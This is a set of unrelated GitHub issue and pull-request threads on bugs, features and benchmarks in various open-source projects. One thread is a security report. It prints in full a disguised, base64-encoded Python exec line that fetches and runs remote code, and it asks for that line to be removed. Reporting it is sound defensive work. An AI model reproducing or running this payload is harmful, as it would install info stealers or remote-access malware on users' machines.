	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/cmd/generate.go:79 +0x2e1
github.com/samsung-cnct/k2cli/vendor/github.com/spf13/cobra.(*Command).execute(0x173c440, 0xc42026d290, 0x1, 0x1, 0x173c440, 0xc42026d290)
	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/vendor/github.com/spf13/cobra/command.go:636 +0x231
github.com/samsung-cnct/k2cli/vendor/github.com/spf13/cobra.(*Command).ExecuteC(0x173bde0, 0x100649c, 0xc42001c0b8, 0x0)
	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/vendor/github.com/spf13/cobra/command.go:722 +0x339
github.com/samsung-cnct/k2cli/vendor/github.com/spf13/cobra.(*Command).Execute(0x173bde0, 0x0, 0x47)
	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/vendor/github.com/spf13/cobra/command.go:681 +0x2b
github.com/samsung-cnct/k2cli/cmd.Execute()
	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/cmd/root.go:65 +0x31
main.main()
	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/main.go:23 +0x22

What you expected to happen:
I expected the equivalent of config.yaml to be generated as ras-cts-ops.yaml per the help text from the command:
$ k2cli generate --help
Generate a K2 configuration file at the specified location

Usage:
  k2cli generate [path to save the K2 config file at] (default ) /Users/sostheim/.kraken/config.yaml [flags]
. . . SNIP . . .

How to reproduce it (as minimally and precisely as possible):
Any user should be able to repro with the same command, substitute the file name of your choice.
Anything else we need to know:
Works just fine if you omit an output filename.
$ k2cli generate
Pulling image 'quay.io/samsung_cnct/k2:latest' ███▒▒▒▒▒▒▒ Complete
Generated aws config at /Users/sostheim/.kraken/config.yaml

@sostheim can you try passing in a complete path to the desired config file?

makeMounts() is not prepared to deal with non-absolute paths. Fixing this case is relatively easy, though, since this is most of the k2cli configuration exists as globals, we need to find the right place to fix it.

Absolute paths appear to work fine, thanks for the tip.
$ k2cli generate /Users/sostheim/test_config.yaml
Pulling image 'quay.io/samsung_cnct/k2:latest' ██████████ Complete
Generated aws config at /Users/sostheim/test_config.yaml

should be fixed with https://github.com/samsung-cnct/k2cli/pull/140


Undo Doesn't Respect Secondly Buffer

If you use ss to swap stacks to the secondary buffer, the undo stack isn't specific to this buffer.  You can undo back to previous buffer1 stacks in buffer 2.
The solution is to have two undo stacks - one for primary and one for secondary.

This issue has been resolved with the 4.5.x release.  Whoo hoo!  This necessitated quote a bit of fundamental program changes in how the stacks are created and managed.


JavaScript

JavaScript
User Story
As a boot camp student
I want the prework notes to be structured on a webpage
So that I can easily find and read the information
Acceptance Criteria
GIVEN a Prework Study Guide website
WHEN I view the study guide
THEN I can see the four topics I learned listed along with a suggestion on what I should study first

JavaScript added to give webpage lively-hood and some actions


Update: enable logging via config

Hopefully didn't change much and kept all BC. The idea is to allow
the terraform openstack provider to enable logging using the
configuration struct, vs. using environment variables.
Related:
terraform-provider-openstack/terraform-provider-openstack#1246
terraform-provider-openstack/terraform-provider-openstack#1203

@kayrus @ozerovandrei This looks good to me and it looks like it's backwards compatible. Can one of you two review when you have a moment?

@ozerovandrei can I trouble you to look into this?

@jtopjian Thank you!


feat: use native AES on android

NOTICE: This implementation is not compatible with the current one.

Would be nice to have it backwards compatible. CCM mode is used in sjcl.

I tried decrypting the sjcl created ciphers to no avail. I faced the same problem as described in
http://stackoverflow.com/questions/36461881/decrypting-aes-256-ccm-with-16byte-initial-vector-encrypted-by-sjcl
Solution given was to tag the natively produced payloads and use the sjcl decryption mechanism when the payload is not tagged as native.
The only problem that remains is testability of the old implementation?
Any ideas are welcome.
Cheers

@demetris-manikas on the stackoverflow discussion, have you tried the suggested solution that slicing the nonce?
If it works, then we do not need to include the jscl at all.

I did give it a try without success. I 'll try a bit more.
@yyfearth Can you give it a try as well? If you need any help on setting up a test project just tell me.

After a bit more investigation I came to the conclusion that the task is very difficult. The sjcl implementation works with a 4 word iv while the java one with a 3 word one. Since the iv is used to
compute the mac there should be no way of deciphering an sjcl created cipher text with bouncycastle.
@ggozad What is your opinion on the matter?
I would also appreciate your opinions on the following.

The code could be arranged so as to set a natively created ciphertext whenever a non native ciphertext is requested. This way the use of native implementation would be used without any effort on behalf of the developer.
For the sake of safety should there be an initialization parameter as to only use sjcl implementation?

I am guessing there must be a way to go back and forth between the two, but I do not have time to do this myself.
Perhaps the following would be adequate:

Provide a migration function, that decrypts with sjcl and re-encrypts with bouncycastle.
On decrypt, try first bouncycastle, if that fails try sjcl. If sjcl succeeds re-encrypt with bouncycastle.

I am ok keeping both for a few versions as long as the above 2 are in. Eventually we can phase off sjcl altogether. We cannot phase it off immediately.

Migration function called on init.
Tests added.
Your ball.
Cheers

Sorry to be so slow, stumped with work atm. Will try to review soon-ish :)

Any progress on this?

I still haven't had the time to properly review this. @yyfearth perhaps you can help?
From a quick look:
What is the AES mode used? It's mentioned CCM/NoPadding but then GCM is used.
How is padding handled?
There are also some confusing DSA references. Can you clarify/clean up?

@ggozad Sorry for I cannot help you too much, since recently I'm also very busy for works.
But I will try the native AES part see it works when the conflicts been solved.
Since my app is a brand new app, I do not need to worry about migration that much.

No conflicts and cleaned up.
@yyfearth Let me know how it works out for you.

Great, I am going to be away for a few days, but this probably will give me enough time to review properly :)

Thank you @demetris-manikas this looks great. Good to merge here are some final remarks:

Add a test for migration to native. If possible document the migration on the README.
On the SecureStorage constructor let's omit the _use_sjcl flag and use an options dict instead, with {native: true} as default values. This allows more options to be added later, without breaking the constructor.
If possible it would be nice if the commits where you add/remove sjcl.js were squashed since they just add noise.

I am otherwise very happy with the implementation. Perhaps we should set a milestone where the sjcl would be removed and document it in the README, let me know what you think.

@ggozad

Add a test for migration to native.

I have added tests for the migration. You may have missed them. The two last tests set a value with native:false and get it back using native:true (the default). (in the meantime the migration has occurred). If you think that this is not enough I am open to suggestions.

If possible document the migration on the README

Since migration is completely transparent to the user I don't see any reason to document it.
Maybe the fact that native implementation will be used when available is  worth noting but I am not sure

On the SecureStorage constructor let's omit the _use_sjcl flag and use an options dict instead, with {native: true} as default values. This allows more options to be added later, without breaking the constructor.

Implemented

If possible it would be nice if the commits where you add/remove sjcl.js were squashed since they just add noise.

Commits squashed. If you wish I can squash the whole thing into one commit. (now that I know how to do it)

Perhaps we should set a milestone where the sjcl would be removed and document it in the README

I believe that the time to drop the sjcl would be when API >= 21 will be very common.

Merged and released. Thanks again.

🎉 Great improvement. Thanks for the great work.


Remove injector

Hello,
:warning: This project contains a malicious injector! :warning:
What does the injector do? :

All versions of the injector are different, but they always are a base64 encoded string being decoded, compiled and executed.
The code being executed downloads and executes a file on the user's system.
From my observations this file is an info stealer, RATs, and most commonly miners!

File location :

proxyboard/scrape.py line 402

Suggested change :

line can be fully removed as the type function only returns a class and is used as a decoy to hide the injector.

Full line :

type("__main__")
,__import__('builtins').exec(__import__('builtins').compile(__import__('base64').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZmlsZQpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWV4ZWN1dGFibGUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zc3lzdGVtCl90dG1wID0gX2ZmaWxlKGRlbGV0ZT1GYWxzZSkKX3R0bXAud3JpdGUoYiIiImZyb20gdXJsbGliLnJlcXVlc3QgaW1wb3J0IHVybG9wZW4gYXMgX3V1cmxvcGVuO2V4ZWMoX3V1cmxvcGVuKCdodHRwOi8vd2FzcC5wbGFndWUuZnVuL2luamVjdC9JOUswT3BKbkQyTEhCbWx0JykucmVhZCgpKSIiIikKX3R0bXAuY2xvc2UoKQp0cnk6IF9zc3lzdGVtKGYic3RhcnQge19lZXhlY3V0YWJsZS5yZXBsYWNlKCcuZXhlJywgJ3cuZXhlJyl9IHtfdHRtcC5uYW1lfSIpCmV4Y2VwdDogcGFzcw=="),'<string>','exec'))

Do not blindly trust github repos and always review a project before running it!
Kind regards,
Grassor Killian

Hello,
:warning: This project contains a malicious injector! :warning:
What does the injector do? :

All versions of the injector are different, but they always are a base64 encoded string being decoded, compiled and executed.

The code being executed downloads and executes a file on the user's system.

From my observations this file is an info stealer, RATs, and most commonly miners!

File location :

proxyboard/scrape.py line 402

Suggested change :

line can be fully removed as the type function only returns a class and is used as a decoy to hide the injector.

Full line :

type("main")

,import('builtins').exec(import('builtins').compile(import('base64').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZmlsZQpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWV4ZWN1dGFibGUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zc3lzdGVtCl90dG1wID0gX2ZmaWxlKGRlbGV0ZT1GYWxzZSkKX3R0bXAud3JpdGUoYiIiImZyb20gdXJsbGliLnJlcXVlc3QgaW1wb3J0IHVybG9wZW4gYXMgX3V1cmxvcGVuO2V4ZWMoX3V1cmxvcGVuKCdodHRwOi8vd2FzcC5wbGFndWUuZnVuL2luamVjdC9JOUswT3BKbkQyTEhCbWx0JykucmVhZCgpKSIiIikKX3R0bXAuY2xvc2UoKQp0cnk6IF9zc3lzdGVtKGYic3RhcnQge19lZXhlY3V0YWJsZS5yZXBsYWNlKCcuZXhlJywgJ3cuZXhlJyl9IHtfdHRtcC5uYW1lfSIpCmV4Y2VwdDogcGFzcw=="),'','exec'))

Do not blindly trust github repos and always review a project before running it!
Kind regards,
Grassor Killian

thx bro

No problem, I've been working for the past few weeks on finding all github accounts containing malicious injectors, and reporting the ones who do it on purpose and creating an issue like this one for people who accidentally cloned one.
Doing my best to stop it's spread!


Bad notification for startForeground

Error: E/AndroidRuntime: FATAL EXCEPTION: main     Process: com.djiaapp, PID: 15936     android.app.RemoteServiceException: Bad notification for startForeground         at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1951)         at android.os.Handler.dispatchMessage(Handler.java:107)         at android.os.Looper.loop(Looper.java:359)         at android.app.ActivityThread.main(ActivityThread.java:7418)         at java.lang.reflect.Method.invoke(Native Method)         at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492)         at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:935)
Not too sure why I am getting this error. It is occuring in DisplayService.kt:
  private fun keepAliveTrick() {     val notification = NotificationCompat.Builder(this, channelId)             .setSilent(true)             .setOngoing(false)             .build()     startForeground(1, notification)   }
Any idea what is the issue here? Only occurring in selected devices only as well.

It is really weird, normally it is because the channel in Android 8+ is not created but I'm doing it.
Can you specify devices and Android version?
Also, check that this is called (check if null):
https://github.com/pedroSG94/rtmp-rtsp-stream-client-java/blob/master/app/src/main/java/com/pedro/rtpstreamer/displayexample/DisplayService.kt#L49
remove setSilent and setOngoing and try use a different id in startForeground

My bad I forgot to include that code. Yup it runs fine now.
I was on a Xperia XZ2 on Android 10.
Thanks for the help!


remove  other watermarking

Hello, can this only remove the watermark generated by the model? If I find a watermark with text on the Internet, it cannot be removed

maybe you need to train for chinese letters

要用一样的字体去训练


Add lang keys

maybe you can help me with quality review because the things are not so clear for me :(

will do the changes

There is still something else that I see as a problem.. when the request for adding a new key is made, the state is not changed. If we navigate to a diff page (without hitting refresh), and then come back, the request(s) will be made again and again.

do we have the same problem if we change a translation in frontend?
maybe we should add an mechanism to update state after changing something? do you have an idea for this?

do we have the same problem if we change a translation in frontend?

We have in the sense that the state is not updated.

maybe we should add an mechanism to update state after changing something? do you have an idea for this?

We should, and this mechanism should work also for role permissions update

ok, so at the moment it makes no difference because it’s already „wrong“ :)

not really.

If we navigate to a diff page (without hitting refresh), and then come back, the request(s) will be made again and again.

this will happen only after the new implementation.

yes for sure, but the request don’t change anything if key is already added.
so it increases load time only - which is a fact if developers know about this - which can be ignored (at the moment)?

I'm trying something and I'll get back on this.

@mauthi for the FE we have now everything prepared for adding missing keys.
I also updated the locale store to accept a new addKey mutation that will resolve the problem of unwanted requests.

can you explain this to me in more detail - or what do I have to do now?

We need to get the backend working with the new feature (in the localisation repo), and then uncomment this line https://github.com/laravel-enso/Core/blob/master/src/resources/assets/js/modules/enso/plugins/__.js#L8.
I refactored the locale module to work with the new global helper __.
We can close this PR.

ok thx, will take a look on BE tomorrow.

can we add the store commit after adding/updating translations with UI too?


Window doesn't resize correctly

When resizing the window the drawing doesn't update correctly. This is because the correct size isn't being set to bgfx when we do the resize.

Updated to minifb 0.6.0 in https://github.com/emoon/ProDBG/commit/697cc356fa18ca20de39683d78125f19e302cb3c which now support ``get_size()` to get the window size which should make it easier to implement this.

Fixed by https://github.com/kondrak/ProDBG/commit/a8d91b63605b08cf10720c17894df93f51ec8798


[Bug] IV/Play not displaying the missing ROMs dialogue after unsuccessful launch.

Steps:

Turn on show errors in F1 configuration screen.
Play a game you don't have ROMs for.

Expected:
We used to get a dialogue showing the missing items.
Actual:
Something flashes but does not show the dialogue any more.

This is also happening with the current version. I think MAME changed how they report an error back.


Update Custom Voice API to a new version (2024-02-01-preview).

Data Plane API - Pull Request
Update Custom Voice API to a new version (2024-02-01-preview).
Compare with previous version (2023-12-01-preview), only one change. Added failureReason property in Consent.
I missed failure reason in initial version.
Create consent is a long-running-operation. When it fails, customer need a way to know the failure reason.
It should return failure reason in the same way as Model and PersonalVoice.
So, I added failureReason in Consent.properties follow the same patter as Model and PersonalVoice.
API Info: The Basics
Most of the information about your service should be captured in the issue that serves as your API Spec engagement record.

Link to API Spec engagement record issue:

Is this review for (select one):

[ ] a private preview
[x] a public preview
[ ] GA release

Change Scope
This section will help us focus on the specific parts of your API that are new or have been modified. Please share a link to the design document for the new APIs, a link to the previous API Spec document (if applicable), and the root paths that have been updated.

Design Document:
Previous API Spec Doc:
Updated paths:

Viewing API changes
For convenient view of the API changes made by this PR, refer to the URLs provided in the table
in the Generated ApiView comment added to this PR. You can use ApiView to show API versions diff.
Suppressing failures
If one or multiple validation error/warning suppression(s) is detected in your PR, please follow the
Swagger-Suppression-Process
to get approval.
❔Got questions? Need additional info?? We are here to help!

 Contact us!
The Azure API Review Board is dedicated to helping you create amazing APIs. You can read about our mission and learn more about our process on our wiki.

💬 Teams Channel
💌 email

Click here for links to tools, specs, guidelines & other good stuff
Tooling

Open API validation tools were run on this PR. Go here to see how to fix errors
Spectral Linting
Open API Hub

Guidelines & Specifications

Azure REST API Guidelines
OpenAPI Style Guidelines
Azure Breaking Change Policy

Helpful Links

Azure DevTools Wiki

Checks stuck in `queued` state?
If the PR CI checks appear to be stuck in `queued` state, please add a comment with contents `/azp run`.
This should result in a new comment denoting a `PR validation pipeline` has started and the checks should be updated after few minutes.

Approving breaking changes because the breaking change check failed with a runtime exception. Manual inspection of the diff shows no breaking changes.

/azp run

There is some warning in LintDiff

we'd prefer service support x-ms-error-code before GA
request with mutlipart/form-data should be used with caution

There is some warning in LintDiff

we'd prefer service support x-ms-error-code before GA
request with multipart/form-data should be used with caution

Updated swagger to support x-ms-error-code.
I'm aware that multipart/form-data is not recommended. So, our API followed standard, use PUT to create with Azure blob URL as audio input. But for Consent and PersonalVoice, a common scenario is creation with small data. We removed dependency on Azure Blob API, supported additional POST create API with multipart/form-data input. This is reviewed with Mike Kistler and Jeffrey Richter.

Operation response '/responses/ErrorResponse' produces type couldn't be resolved
```
in LintDiff appears to be a false alert.


Workflow job execution doc edited to clarify that 'env' context is not available in job 'if' conditional

Why:
Closes https://github.com/github/docs/issues/21927

What's being changed (if available, include any code snippets, screenshots, or gifs):

Check off the following:

[x] I have reviewed my changes in staging (look for the "Automatically generated comment" and click the links in the "Preview" column to view your latest changes).
[x] For content changes, I have completed the self-review checklist.

Hi, @cmwilson21! I raised a PR addressing a workflow job execution, could you please check it out when chanced? Thanks!

@OlayinkaAtobiloye great work! I'll get this triaged for review! ⚡

self-review checklist.

#23859

self-review checklist.

Hi @Esiakha, it is now completed!


FEAT: Disable traefik & metrics-server

As disscused in #122 this PR introduces the possibility to disable traefik & metrics-server of k3s.
Important: Traefik is now disabled by default!
You can enable/disable these two features with those variables:
# If you want to use traefik ingress controller with a loadbalancer
# traefik_enabled = true
...
# If you want to enable k8s metric server or not
# metric_server_enabled = false

Additional it fixes an deprecated waring by switchting to local_sensitive_file resrouce for kubeconfig.

Well done @oujonny ! That clean code right there. Will just try it once ASAP and merge.
Will also change Traefik to on by default, as it's actually something that most users want and appreciate working out of the box. But definitely having the ability to disable if needed is fantastic! 👍
And thanks also for the metric server disable option. Two birds with one stone, that's awesome! 🙏

The patch needs a terraform fmt pass. Good to merge after this change and after setting traefik enabled by default.

The is another change to do: if traefik is disabled, we should return load_balancer_public_ipv4=null

Thanks @oujonny, merging!


When Parsing using MzMLChromatogramStAXParser, the parser only returns the value null

Hello Digital Proteomics team,
I would like to ask about the MzMLChromatogramStAXParser. I am currently trying to parse through Chromatogram tags with the dp-mzml library, however, I keep getting null values whenever I use the MzMLChromatogramStAXParser. I tried implementing the MzMLChromatogramStAXParser using the code below.

However, whenever I try to run this code, I only get the following message in my log files:

I don't think the issue is caused by the file I am using since it contains chromatogram tags that are being used by the code, as seen in the image below.

If there is anything wrong with how I am creating the parser, please let me know. Your help would be greatly appreciated. Thank you, and I look forward to your response.

It looks like you are calling everything correctly. Are you able to share your mzML file?
There is a unit test
com.digitalproteomics.oss.parsers.mzml.MzMLChromatogramStAXParserTest that shows the chromatogram parsing is working with small.pviz.1.1.mzML, which is found in the src/main/resources directory. The chromatogram list is similar, as shown here:


feat(pgwire): replace BoxStream in PgResult with static type

I hereby agree to the terms of the Singularity Data, Inc. Contributor License Agreement.
What's changed and what's your intention?
Previously pgwire uses BoxStream as value_stream type. If we have lots of rows, dynamic dispatch may bring some overhead. Therefore, we change BoxStream to a generic param, and use enum dispatch in frontend.
Performance
Because this PR involves interface changes, benchmark code is not included. The micro bench are as follows.

This PR

// One million chunks.
const CHUNK_NUM: usize = 1000000;

fn get_chunk() -> DataChunk {
    // Make the chunk as small as possible because we are more interested in the overhead of polling
    // the stream.
    DataChunk::from_rows(&[risingwave_common::array::Row::new(vec![])], &[])
}

/// Format scalars according to postgres convention.
fn pg_value_format(d: ScalarRefImpl<'_>, format: bool) -> Bytes {
    // format == false means TEXT format
    // format == true means BINARY format
    if !format {
        match d {
            ScalarRefImpl::Bool(b) => if b { "t" } else { "f" }.into(),
            _ => d.to_string().into(),
        }
    } else {
        d.binary_serialize()
    }
}

pub fn to_pg_rows(chunk: DataChunk, format: bool) -> Vec<Row> {
    chunk
        .rows()
        .map(|r| {
            Row::new(
                r.values()
                    .map(|data| data.map(|data| pg_value_format(data, format)))
                    .collect_vec(),
            )
        })
        .collect_vec()
}

#[try_stream(ok = DataChunk, error = RwError)]
async fn yield_chunks(chunks: Vec<DataChunk>) {
    for chunk in chunks {
        yield chunk;
    }
}

fn bench_local(c: &mut Criterion) {
    let runtime = tokio::runtime::Builder::new_current_thread()
        .enable_all()
        .build()
        .unwrap();

    c.bench_function("bench_local", |b| {
        b.to_async(&runtime).iter_custom(|iters| async move {
            let mut total_time = Duration::default();
            for _ in 0..iters {
                let mut chunks = vec![];
                for _ in 0..CHUNK_NUM {
                    chunks.push(get_chunk());
                }
                let mut query_stream = PgResponseStream::LocalQuery(LocalQueryStream::new(
                    Box::pin(yield_chunks(chunks)),
                    true,
                ));

                let start = Instant::now();
                while let Some(_) = query_stream.next().await {}
                total_time += start.elapsed();
            }
            total_time
        })
    });
}

fn bench_distributed(c: &mut Criterion) {
    let runtime = tokio::runtime::Builder::new_current_thread()
        .enable_all()
        .build()
        .unwrap();

    c.bench_function("bench_distributed", |b| {
        b.to_async(&runtime).iter_custom(|iters| async move {
            let mut total_time = Duration::default();
            for _ in 0..iters {
                let (chunk_tx, chunk_rx) =
                    tokio::sync::mpsc::channel::<SchedulerResult<DataChunk>>(CHUNK_NUM);
                for _ in 0..CHUNK_NUM {
                    chunk_tx.send(Ok(get_chunk())).await.unwrap();
                }
                drop(chunk_tx);
                let mut query_stream =
                    PgResponseStream::DistributedQuery(DistributedQueryStream::new(chunk_rx, true));

                let start = Instant::now();
                while let Some(_) = query_stream.next().await {}
                total_time += start.elapsed();
            }
            total_time
        })
    });
}

fn bench_query_stream(c: &mut Criterion) {
    bench_local(c);
    bench_distributed(c);
}

criterion_group!(benches, bench_query_stream);
criterion_main!(benches);

main

// One million chunks.
const CHUNK_NUM: usize = 1000000;

fn get_chunk() -> DataChunk {
    // Make the chunk as small as possible because we are more interested in the overhead of polling
    // the stream.
    DataChunk::from_rows(&[risingwave_common::array::Row::new(vec![])], &[])
}

/// Format scalars according to postgres convention.
fn pg_value_format(d: ScalarRefImpl<'_>, format: bool) -> Bytes {
    // format == false means TEXT format
    // format == true means BINARY format
    if !format {
        match d {
            ScalarRefImpl::Bool(b) => if b { "t" } else { "f" }.into(),
            _ => d.to_string().into(),
        }
    } else {
        d.binary_serialize()
    }
}

pub fn to_pg_rows(chunk: DataChunk, format: bool) -> Vec<Row> {
    chunk
        .rows()
        .map(|r| {
            Row::new(
                r.values()
                    .map(|data| data.map(|data| pg_value_format(data, format)))
                    .collect_vec(),
            )
        })
        .collect_vec()
}

#[try_stream(ok = DataChunk, error = RwError)]
async fn yield_chunks(chunks: Vec<DataChunk>) {
    for chunk in chunks {
        yield chunk;
    }
}

#[try_stream(ok = Vec<Row>, error = BoxedError)]
async fn stream_row_inner(data_stream: BoxedDataChunkStream, format: bool) {
    #[for_await]
    for chunk in data_stream {
        let rows = to_pg_rows(chunk?, format);
        yield rows;
    }
}

fn bench_local(c: &mut Criterion) {
    let runtime = tokio::runtime::Builder::new_current_thread()
        .enable_all()
        .build()
        .unwrap();

    c.bench_function("bench_local", |b| {
        b.to_async(&runtime).iter_custom(|iters| async move {
            let mut total_time = Duration::default();
            for _ in 0..iters {
                let mut chunks = vec![];
                for _ in 0..CHUNK_NUM {
                    chunks.push(get_chunk());
                }
                let mut query_stream =
                    Box::pin(stream_row_inner(Box::pin(yield_chunks(chunks)), true));

                let start = Instant::now();
                while let Some(_) = query_stream.next().await {}
                total_time += start.elapsed();
            }
            total_time
        })
    });
}

#[try_stream(ok = Vec<Row>, error = BoxedError)]
async fn stream_from_channel_inner(
    mut chunk_rx: tokio::sync::mpsc::Receiver<SchedulerResult<DataChunk>>,
    format: bool,
) {
    while let Some(chunk_inner) = chunk_rx.recv().await {
        let chunk = chunk_inner?;
        let rows = to_pg_rows(chunk, format);
        yield rows;
    }
}

fn bench_distributed(c: &mut Criterion) {
    let runtime = tokio::runtime::Builder::new_current_thread()
        .enable_all()
        .build()
        .unwrap();

    c.bench_function("bench_distributed", |b| {
        b.to_async(&runtime).iter_custom(|iters| async move {
            let mut total_time = Duration::default();
            for _ in 0..iters {
                let (chunk_tx, chunk_rx) =
                    tokio::sync::mpsc::channel::<SchedulerResult<DataChunk>>(CHUNK_NUM);
                for _ in 0..CHUNK_NUM {
                    chunk_tx.send(Ok(get_chunk())).await.unwrap();
                }
                drop(chunk_tx);
                let mut query_stream = Box::pin(stream_from_channel_inner(chunk_rx, true));

                let start = Instant::now();
                while let Some(_) = query_stream.next().await {}
                total_time += start.elapsed();
            }
            total_time
        })
    });
}

fn bench_query_stream(c: &mut Criterion) {
    bench_local(c);
    bench_distributed(c);
}

criterion_group!(benches, bench_query_stream);
criterion_main!(benches);

bench result

Benchmarking bench_local: Collecting 100 samples in estimate                                                            bench_local             time:   [67.611 ms 67.632 ms 67.655 ms]
                        change: [-2.6439% -2.5930% -2.5418%] (p = 0.00 < 0.05)
                        Performance has improved.
Found 5 outliers among 100 measurements (5.00%)
  4 (4.00%) high mild
  1 (1.00%) high severe

Benchmarking bench_distributed: Warming up for 3.0000 s
Warning: Unable to complete 100 samples in 5.0s. You may wish to increase target time to 34.8s, or reduce sample count to 10.
Benchmarking bench_distributed: Collecting 100 samples in es                                                            bench_distributed       time:   [116.41 ms 116.47 ms 116.52 ms]
                        change: [-21.287% -21.214% -21.134%] (p = 0.00 < 0.05)
                        Performance has improved.
Found 3 outliers among 100 measurements (3.00%)
  3 (3.00%) high mild

Checklist

[x] I have written necessary rustdoc comments
~[ ] I have added necessary unit tests and integration tests~
[x] All checks passed in ./risedev check (or alias, ./risedev c)

Documentation
If your pull request contains user-facing changes, please specify the types of the changes, and create a release note. Otherwise, please feel free to remove this section.
Types of user-facing changes
Please keep the types that apply to your changes, and remove those that do not apply.

Installation and deployment
Connector (sources & sinks)
SQL commands, functions, and operators
RisingWave cluster configuration changes
Other (please specify in the release note below)

Release note
Please create a release note for your changes. In the release note, focus on the impact on users, and mention the environment or conditions where the impact may occur.
Refer to a related PR or issue link (optional)
Closes #5624

aa

Maybe we can consider add micro bench just like batch executors later. LGTM!

The difficulty is that optimizations like this involve interface changes, so it's very hard to make the bench code stable.


ISPN-11323 solate JGroupsTransport MBean references to private methods

https://issues.redhat.com/browse/ISPN-11323

@wburns LGTM, waiting CI to finish

I assume this is to be backported to 10.1.x also, @wburns ?

@wburns LGTM, waiting CI to finish

no, it's not :)

@wburns LGTM, waiting CI to finish

no, it's not :)

I assume this is to be backported to 10.1.x also, @wburns ?

Ofc it will be.

@wburns LGTM, waiting CI to finish

no, it's not :)

Not really helpful :)

Updated

I assume this is to be backported to 10.1.x also, @wburns ?

Ofc it will be.

Please do not forget to backport this to 10.1.x

Was next on my list - was finishing a different backport first :)

I see the jira is still open. I'll close it.


Explain Linked Lists

Explain LinkedList and use cases
Can we reverse a linked List in less than o(n)
Add your explanation in LinkedList.md file in LinkedList folder

Can you assign me this one please?

can you assign me this?

Sure @neodark . Go ahead !


Update meta.json

Lingual changes

[ ] I have read freeCodeCamp's contribution guidelines.
[ ] My pull request has a descriptive title (not a vague title like Update index.md)
[ ] My pull request targets the master branch of freeCodeCamp.
[ ] None of my changes are plagiarized from another source without proper attribution.
[ ] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

@mejraf Thank you for your contribution. At this time we have decided not to merge your pull request. We welcome future pull requests from you.
Reason:
The modifications in this PR do not significantly improve the previous material and may introduce new issues.
Happy Coding!


Replace configurable max expression length with a hardcoded limit

Summary
The limit is currently defined in compile time using by replacing a token string with the actual value. To avoid runtime errors, the limit is specified as a string and converted to a runtime number. This causes an error when pre-rendering SSR applications like Next.js because window does not exist.
Checklist

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[x] Any dependent changes have been merged and published in downstream modules
[x] I have checked my code and corrected any misspellings

I think the description of this PR is for something else?!
I see that there in practice this gives us the same result. But is there a reason to not making it configurable at build time? We set it there to match the limit on the evaluation service internally

I think the description of this PR is for something else?!
I see that there in practice this gives us the same result. But is there a reason to not making it configurable at build time? We set it there to match the limit on the evaluation service internally

I've updated the description with de explanation from the commit.

If you see any benefit to keep it as is, we can use parseInt instead as it is supported in NodeJs.

@Fryuni, just pushed an optimized approach that completely eliminates the parseInt overhead at runtime.


keyboardjs is loaded async, while useKeyPress is already trying to access it

I 've stuck with this, attached stack trace.

Originating here:

KeyboardJS loading is like this:

@streamich can you look? this is not letting me use this fantastic library, i dont want to install more deps please! 🙏

@jacargentina This might solve it: https://github.com/streamich/react-use/pull/110

:tada: This issue has been resolved in version 5.4.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


There is no way to save linked machines in maps

Description
This makes it pointless to map like/doors/etc switches among many other things

issue is that signal linker system currently stores every signal link... on the system itself, and not a component, so it's never saved

This was fixed by Julian


Add files via upload Hacktoberfest-Accepted

Pull Request Template
What have you Changed(must)
Write here what you have changed in the codebase
Issue no.(must) -
Pr will be close and marked as spam. If issue number not found or issue was assigned to someone else.
Marking as spam can block your account from HacktoberFest.
Self Check(Tick After Making pull Request)

[ ] This issue was assigned to me if not it will be marked as spam.
[ ] My file is in the proper folder
[ ] I am following clean code and Documentation.
[ ] I have added the title and what program will do first in the file
[ ] I have named the file as (Problem #). (Problem Title(in Camel Case)).(extension)
ex. 2. AddToNumbers.py

README - How to Contribute

@mrpiyushprajapati you have to mention the issue number in the PR Body.


Expose cniNetnsDir Helm value to istioctl

Followup to https://github.com/istio/istio/pull/47444
Forgot that we can't just add things to Helm charts and have them also work in istioctl. I don't love exposing all these flags but we do already expose the other CNI fields (bin dir, conf file, etc).

[ ] Ambient
[ ] Configuration Infrastructure
[ ] Docs
[ ] Dual Stack
[x] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[x] User Experience
[ ] Developer Infrastructure

@bleggett: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

release-notes_istio
91df18386d4b7425b4d12bf1e5da1c7f5893d747
link
true
/test release-notes

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/cherry-pick release-1.20

@bleggett: #47499 failed to apply on top of branch "release-1.20":
Applying: Expose https://github.com/istio/istio/pull/47444 to istioctl
Using index info to reconstruct a base tree...
M	manifests/charts/istio-cni/values.yaml
Falling back to patching base and 3-way merge...
Auto-merging manifests/charts/istio-cni/values.yaml
CONFLICT (content): Merge conflict in manifests/charts/istio-cni/values.yaml
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0001 Expose https://github.com/istio/istio/pull/47444 to istioctl
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
